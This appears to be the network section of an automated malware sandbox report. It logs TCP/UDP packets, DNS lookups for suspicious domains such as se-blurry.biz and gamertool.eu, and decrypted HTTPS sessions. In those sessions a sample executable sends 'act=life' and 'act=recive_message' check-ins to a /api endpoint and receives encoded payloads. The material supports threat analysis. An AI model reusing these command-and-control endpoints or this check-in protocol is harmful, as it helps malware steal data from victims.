Dec 10, 2024 07:47:55.317914009 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:56.544903994 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:56.545008898 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:56.545068026 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:56.545226097 CET	49726	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:56.545243979 CET	443	49726	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:56.619395018 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:56.619443893 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:56.619535923 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:56.619925976 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:56.619937897 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:57.830244064 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:57.830374002 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:57.831701994 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:57.831712008 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:57.831939936 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:57.833158970 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:57.833291054 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:57.833323956 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:57.833376884 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:57.875345945 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:58.977499962 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:58.977591991 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:58.977644920 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:58.977854013 CET	49733	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:58.977875948 CET	443	49733	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:59.186853886 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:59.186913967 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:47:59.187021971 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:59.187349081 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:47:59.187362909 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:00.400691032 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:00.400806904 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:00.402116060 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:00.402127028 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:00.402367115 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:00.403748035 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:00.403896093 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:00.403930902 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:00.403989077 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:00.404001951 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:01.617275953 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:01.617397070 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:01.617475033 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:01.618027925 CET	49739	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:01.618046045 CET	443	49739	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:02.640809059 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:02.640858889 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:02.640939951 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:02.641233921 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:02.641247034 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:03.854551077 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:03.854690075 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:03.856120110 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:03.856129885 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:03.856374979 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:03.857585907 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:03.857687950 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:03.857693911 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:04.584014893 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:04.584120989 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:04.584260941 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:04.626188993 CET	49750	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:04.626219034 CET	443	49750	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:05.423423052 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:05.423461914 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:05.423557043 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:05.423899889 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:05.423913956 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.641798019 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.641874075 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.643229008 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.643239975 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.643507957 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.648127079 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.649123907 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.649168968 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.649297953 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.649328947 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.649446011 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.649482965 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.649637938 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.649665117 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.649890900 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.649920940 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.650137901 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.650166988 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.650176048 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.650516987 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.650552988 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.695332050 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.695581913 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.695633888 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.695647001 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.743334055 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.743983984 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.744040966 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.744069099 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.787333012 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.787702084 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:06.835340977 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:06.888961077 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:08.882644892 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:08.882760048 CET	443	49757	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:08.882963896 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:08.882982016 CET	49757	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:08.911298990 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:08.911358118 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:08.911427975 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:08.911762953 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:08.911777973 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.137638092 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.137702942 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.139462948 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.139476061 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.139729023 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.151058912 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.151083946 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.151153088 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.941500902 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.941589117 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.941754103 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.941883087 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.941900969 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:10.941931009 CET	49771	443	192.168.2.6	172.67.162.65
Dec 10, 2024 07:48:10.941937923 CET	443	49771	172.67.162.65	192.168.2.6
Dec 10, 2024 07:48:11.271976948 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:11.272011995 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:11.272435904 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:11.272435904 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:11.272479057 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:12.494545937 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:12.494692087 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:12.503813028 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:12.503875971 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:12.504158020 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:12.522811890 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:12.563342094 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:13.211992025 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:13.212120056 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:13.212249994 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:13.212502003 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:13.212512016 CET	443	49778	172.67.161.29	192.168.2.6
Dec 10, 2024 07:48:13.212544918 CET	49778	443	192.168.2.6	172.67.161.29
Dec 10, 2024 07:48:13.212549925 CET	443	49778	172.67.161.29	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:47:48.893769979 CET	62137	53	192.168.2.6	1.1.1.1
Dec 10, 2024 07:47:49.115911961 CET	53	62137	1.1.1.1	192.168.2.6
Dec 10, 2024 07:47:49.128175974 CET	54284	53	192.168.2.6	1.1.1.1
Dec 10, 2024 07:47:49.267240047 CET	53	54284	1.1.1.1	192.168.2.6
Dec 10, 2024 07:48:10.944785118 CET	65345	53	192.168.2.6	1.1.1.1
Dec 10, 2024 07:48:11.271029949 CET	53	65345	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 07:47:48.893769979 CET	192.168.2.6	1.1.1.1	0x10ab	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:47:49.128175974 CET	192.168.2.6	1.1.1.1	0xa40a	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:48:10.944785118 CET	192.168.2.6	1.1.1.1	0xaaa8	Standard query (0)	gamertool.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 07:47:49.115911961 CET	1.1.1.1	192.168.2.6	0x10ab	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:47:49.267240047 CET	1.1.1.1	192.168.2.6	0xa40a	No error (0)	se-blurry.biz		172.67.162.65	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:47:49.267240047 CET	1.1.1.1	192.168.2.6	0xa40a	No error (0)	se-blurry.biz		104.21.81.153	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:48:11.271029949 CET	1.1.1.1	192.168.2.6	0xaaa8	No error (0)	gamertool.eu		172.67.161.29	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:48:11.271029949 CET	1.1.1.1	192.168.2.6	0xaaa8	No error (0)	gamertool.eu		104.21.9.168	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

se-blurry.biz

gamertool.eu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:47:50 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: se-blurry.biz
2024-12-10 06:47:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 06:47:51 UTC	1003	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:47:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1mbn9pg0nv1s134dbu6pd56hbj; expires=Sat, 05-Apr-2025 00:34:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=27pRKEBgA32aPSdq1Q3PN6mI5JgDEe9uI2ePLmDfmHI1N%2F60zFjVTFAmSek34jMvNR%2Fw4Yn10Q45v5FNshznLWZb6TLgG4VFK396U9K9iubUM924HNid66LL343Ux2zg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb492ecf57c477-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1691&rtt_var=647&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1676234&cwnd=181&unsent_bytes=0&cid=ac0d4eb1c17250ed&ts=843&x=0"
2024-12-10 06:47:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 06:47:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:47:52 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: se-blurry.biz
2024-12-10 06:47:52 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-12-10 06:47:53 UTC	1007	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:47:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=74krlhibjhts7s5qg3dirovq53; expires=Sat, 05-Apr-2025 00:34:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2vuRZ7wKj2GKcj%2F%2BRuEpLFXrS4L9n0ZouQXUFGCrSeFH3r3pzvYgNxrQMUNYEzhEcc0f9e%2FWrImXY4KK%2Fi4oFfOk92nwStoPVzl3aVPPgG4Qj5qPStnmxzjqbMBMJX1b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb493bfc3d0c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1613&rtt_var=623&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=939&delivery_rate=1729857&cwnd=77&unsent_bytes=0&cid=178a801f9b41c09b&ts=1031&x=0"
2024-12-10 06:47:53 UTC	362	IN	Data Raw: 34 64 66 0d 0a 73 32 32 61 4e 69 61 75 70 70 62 77 71 58 41 47 34 6f 65 50 45 48 57 34 57 6d 36 70 65 4f 4a 32 58 74 65 67 74 32 79 66 71 54 76 49 54 2b 77 55 48 4a 71 4b 74 49 50 4d 55 6a 79 57 39 66 70 31 57 5a 6f 37 43 6f 74 43 68 42 63 79 70 4d 57 62 54 75 6e 45 47 59 6b 4c 2b 31 70 56 79 34 71 30 6c 64 46 53 50 4c 6e 38 72 58 55 62 6d 6d 42 4d 7a 42 4b 41 46 7a 4b 31 77 64 77 44 37 38 56 59 32 77 48 39 58 6b 50 4e 77 76 65 63 78 42 56 6a 68 2b 62 6c 66 68 7a 56 4d 67 4f 4c 56 4d 41 54 4a 50 57 61 6c 53 48 36 33 56 72 2b 44 4f 6c 64 42 4e 4f 4b 37 64 4c 4d 48 69 54 59 70 65 35 31 46 39 51 38 43 73 49 51 69 68 34 36 74 4d 54 64 48 50 62 50 55 39 73 50 2f 6c 39 4a 78 4e 62 36 6c 73 4d 65 5a 59 33 6d 72 54 78 58 33 53 42 4d 6b 31 72 54 4a 6a 2b 6b 30 38 Data Ascii: 4dfs22aNiauppbwqXAG4oePEHW4Wm6peOJ2Xtegt2yfqTvIT+wUHJqKtIPMUjyW9fp1WZo7CotChBcypMWbTunEGYkL+1pVy4q0ldFSPLn8rXUbmmBMzBKAFzK1wdwD78VY2wH9XkPNwvecxBVjh+blfhzVMgOLVMATJPWalSH63Vr+DOldBNOK7dLMHiTYpe51F9Q8CsIQih46tMTdHPbPU9sP/l9JxNb6lsMeZY3mrTxX3SBMk1rTJj+k08
2024-12-10 06:47:53 UTC	892	IN	Data Raw: 5a 4c 75 35 48 38 61 32 6a 55 47 78 42 6d 41 45 7a 61 2f 7a 64 38 4b 38 4d 5a 66 30 51 2b 34 47 67 54 4c 33 4c 54 4b 69 7a 46 68 6b 4f 4c 68 5a 46 58 67 65 42 4f 46 41 38 41 54 4d 50 57 61 6c 51 62 34 79 46 72 61 41 50 74 63 54 39 37 45 35 70 54 47 46 33 61 47 34 4f 4e 34 46 4d 67 79 41 73 30 5a 69 52 38 31 73 4d 58 52 54 72 4f 4c 58 73 6c 50 6f 42 52 6c 77 63 2f 34 6d 4e 77 53 4a 4a 2b 72 39 44 49 51 31 6e 68 55 69 78 36 42 45 44 32 78 7a 4e 73 4b 38 63 31 58 33 41 44 2b 58 6b 54 4c 7a 76 79 61 79 68 39 76 6a 2b 58 6f 66 78 50 63 4e 41 33 4f 57 73 35 55 4f 36 32 43 6a 55 37 54 7a 46 72 44 54 63 31 58 53 73 4c 44 34 74 4c 55 58 48 33 41 34 75 45 79 54 35 6f 32 43 63 51 49 67 51 59 35 75 39 44 5a 43 2f 76 47 57 74 38 50 2f 56 4e 4a 77 73 4c 7a 6b 63 4d 57 Data Ascii: ZLu5H8a2jUGxBmAEza/zd8K8MZf0Q+4GgTL3LTKizFhkOLhZFXgeBOFA8ATMPWalQb4yFraAPtcT97E5pTGF3aG4ON4FMgyAs0ZiR81sMXRTrOLXslPoBRlwc/4mNwSJJ+r9DIQ1nhUix6BED2xzNsK8c1X3AD+XkTLzvyayh9vj+XofxPcNA3OWs5UO62CjU7TzFrDTc1XSsLD4tLUXH3A4uEyT5o2CcQIgQY5u9DZC/vGWt8P/VNJwsLzkcMW
2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 34 34 33 64 0d 0a 37 6d 4d 4d 61 5a 49 33 6b 35 6e 6f 52 31 7a 4d 44 78 42 32 49 46 7a 43 77 7a 39 5a 4f 73 34 74 65 79 55 2b 67 46 47 48 43 78 2b 57 44 69 53 64 6e 6a 75 76 71 5a 46 66 46 64 68 57 4c 48 59 78 55 5a 50 58 49 30 67 6e 35 78 6c 50 53 43 2f 78 5a 53 38 58 4e 2f 59 44 42 48 6d 71 53 36 4f 64 33 47 64 59 39 41 38 73 62 67 52 6f 32 76 6f 4b 62 54 76 72 54 47 59 6c 50 31 31 6c 55 33 73 37 2f 67 34 6b 6e 5a 34 37 72 36 6d 52 58 78 58 59 56 69 78 32 4d 56 47 54 31 79 64 4d 43 38 63 74 66 77 77 48 33 52 6b 37 65 77 50 71 57 78 78 78 74 6a 65 72 6f 59 42 50 61 4b 67 33 4f 48 59 34 5a 4c 72 43 43 6d 30 37 36 30 78 6d 4a 54 38 4a 67 51 39 7a 56 38 39 44 2b 45 57 71 4f 34 76 73 79 43 4a 51 68 54 4d 77 57 77 45 78 38 74 73 37 59 42 2f 6a 45 53 39 73 44 Data Ascii: 443d7mMMaZI3k5noR1zMDxB2IFzCwz9ZOs4teyU+gFGHCx+WDiSdnjuvqZFfFdhWLHYxUZPXI0gn5xlPSC/xZS8XN/YDBHmqS6Od3GdY9A8sbgRo2voKbTvrTGYlP11lU3s7/g4knZ47r6mRXxXYVix2MVGT1ydMC8ctfwwH3Rk7ewPqWxxxtjeroYBPaKg3OHY4ZLrCCm0760xmJT8JgQ9zV89D+EWqO4vsyCJQhTMwWwEx8ts7YB/jES9sD
2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 37 42 2b 70 62 42 46 32 43 4d 37 2b 31 33 42 64 49 2b 43 38 63 53 68 52 73 36 73 4d 2f 53 42 66 37 5a 53 39 49 4c 39 6c 67 45 67 6f 54 7a 69 6f 74 4b 4a 4b 58 79 37 6d 49 52 32 58 67 54 68 51 50 41 45 7a 44 31 6d 70 55 4f 38 38 64 53 31 67 54 7a 55 45 44 4d 79 66 2b 63 78 52 74 6f 69 4f 6e 71 59 42 72 66 4d 41 62 43 48 34 77 5a 50 36 66 42 31 45 36 7a 69 31 37 4a 54 36 41 55 59 2f 2f 7a 31 39 4c 55 58 48 33 41 34 75 45 79 54 35 6f 35 42 4d 77 55 68 41 59 79 70 38 7a 53 44 76 76 44 55 64 59 44 39 6c 70 57 78 4d 58 30 6e 4d 51 61 62 59 54 6b 36 58 59 62 33 58 68 43 69 78 32 59 56 47 54 31 36 74 59 55 35 34 6c 33 32 67 2f 2f 52 46 4c 58 68 4f 76 63 30 6c 4a 6a 6a 4b 57 31 4d 68 50 52 4d 67 58 49 45 34 51 5a 50 4c 7a 4e 33 41 62 77 77 30 76 51 42 65 70 51 51 Data Ascii: 7B+pbBF2CM7+13BdI+C8cShRs6sM/SBf7ZS9IL9lgEgoTziotKJKXy7mIR2XgThQPAEzD1mpUO88dS1gTzUEDMyf+cxRtoiOnqYBrfMAbCH4wZP6fB1E6zi17JT6AUY//z19LUXH3A4uEyT5o5BMwUhAYyp8zSDvvDUdYD9lpWxMX0nMQabYTk6XYb3XhCix2YVGT16tYU54l32g//RFLXhOvc0lJjjKW1MhPRMgXIE4QZPLzN3Abww0vQBepQQ
2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 64 79 42 70 70 67 2b 33 2f 63 68 72 61 4b 68 37 4e 45 59 35 55 63 76 58 46 7a 55 36 6c 69 32 6a 47 42 4c 68 4c 43 74 57 45 38 35 36 4c 53 69 53 44 37 2b 42 38 42 64 34 2b 42 38 67 55 69 42 45 30 73 63 6a 59 41 66 62 42 55 4e 6b 50 39 31 46 4d 78 38 4c 36 6b 38 30 65 61 63 43 72 72 58 55 50 6d 6d 42 4d 37 41 43 4e 45 69 75 6b 39 39 49 4f 72 49 74 47 6e 78 61 34 55 30 69 4d 6e 4c 53 66 78 78 68 70 68 65 48 6c 64 52 54 62 4e 41 6a 47 46 34 51 64 4f 4c 44 51 78 77 6a 7a 79 31 62 66 41 50 52 47 53 73 6e 45 2b 4e 4b 46 55 6d 4f 59 70 62 55 79 4a 73 30 34 54 4e 52 55 6d 56 51 37 75 59 4b 4e 54 76 4c 47 53 39 30 41 2b 46 56 48 79 4d 2f 7a 6c 4d 30 54 5a 34 58 6d 36 48 51 57 32 6a 51 47 7a 42 4b 4b 47 6a 47 7a 78 74 4d 49 76 59 55 5a 31 68 65 34 44 41 54 2b 79 66 Data Ascii: dyBppg+3/chraKh7NEY5UcvXFzU6li2jGBLhLCtWE856LSiSD7+B8Bd4+B8gUiBE0scjYAfbBUNkP91FMx8L6k80eacCrrXUPmmBM7ACNEiuk99IOrItGnxa4U0iMnLSfxxhpheHldRTbNAjGF4QdOLDQxwjzy1bfAPRGSsnE+NKFUmOYpbUyJs04TNRUmVQ7uYKNTvLGS90A+FVHyM/zlM0TZ4Xm6HQW2jQGzBKKGjGzxtMIvYUZ1he4DAT+yf
2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 61 49 2f 69 35 58 30 54 32 6a 64 4d 68 56 71 48 44 48 7a 74 67 76 55 46 36 2b 70 58 32 68 32 34 53 77 72 56 68 50 4f 65 69 30 6f 6b 6a 75 7a 73 65 68 6e 57 4d 41 6a 5a 47 6f 73 64 4d 37 54 4e 31 51 33 38 77 56 48 44 43 66 68 66 54 4d 76 4d 38 4a 7a 5a 45 32 76 41 71 36 31 31 44 35 70 67 54 50 6f 4d 68 78 4d 7a 39 2b 76 53 46 66 7a 42 57 74 6f 44 75 45 73 4b 31 59 54 7a 6e 6f 74 4b 4a 49 33 70 34 48 59 46 31 6a 67 4d 77 68 32 4b 42 6a 4f 36 7a 39 59 4f 2b 4e 6c 59 77 77 44 7a 55 55 66 49 79 2f 75 65 77 78 67 6b 7a 71 58 71 61 6c 65 43 65 43 44 49 43 34 70 57 47 36 2f 55 30 67 4c 73 77 46 54 64 54 2b 63 61 58 59 7a 44 2b 4e 4b 54 55 6d 53 42 36 50 39 33 46 74 41 79 41 63 4d 56 68 52 45 7a 73 63 62 65 41 4f 2f 46 56 74 45 4a 38 31 56 42 7a 38 2f 2b 6e 4d 49 Data Ascii: aI/i5X0T2jdMhVqHDHztgvUF6+pX2h24SwrVhPOei0okjuzsehnWMAjZGosdM7TN1Q38wVHDCfhfTMvM8JzZE2vAq611D5pgTPoMhxMz9+vSFfzBWtoDuEsK1YTznotKJI3p4HYF1jgMwh2KBjO6z9YO+NlYwwDzUUfIy/uewxgkzqXqaleCeCDIC4pWG6/U0gLswFTdT+caXYzD+NKTUmSB6P93FtAyAcMVhREzscbeAO/FVtEJ81VBz8/+nMI
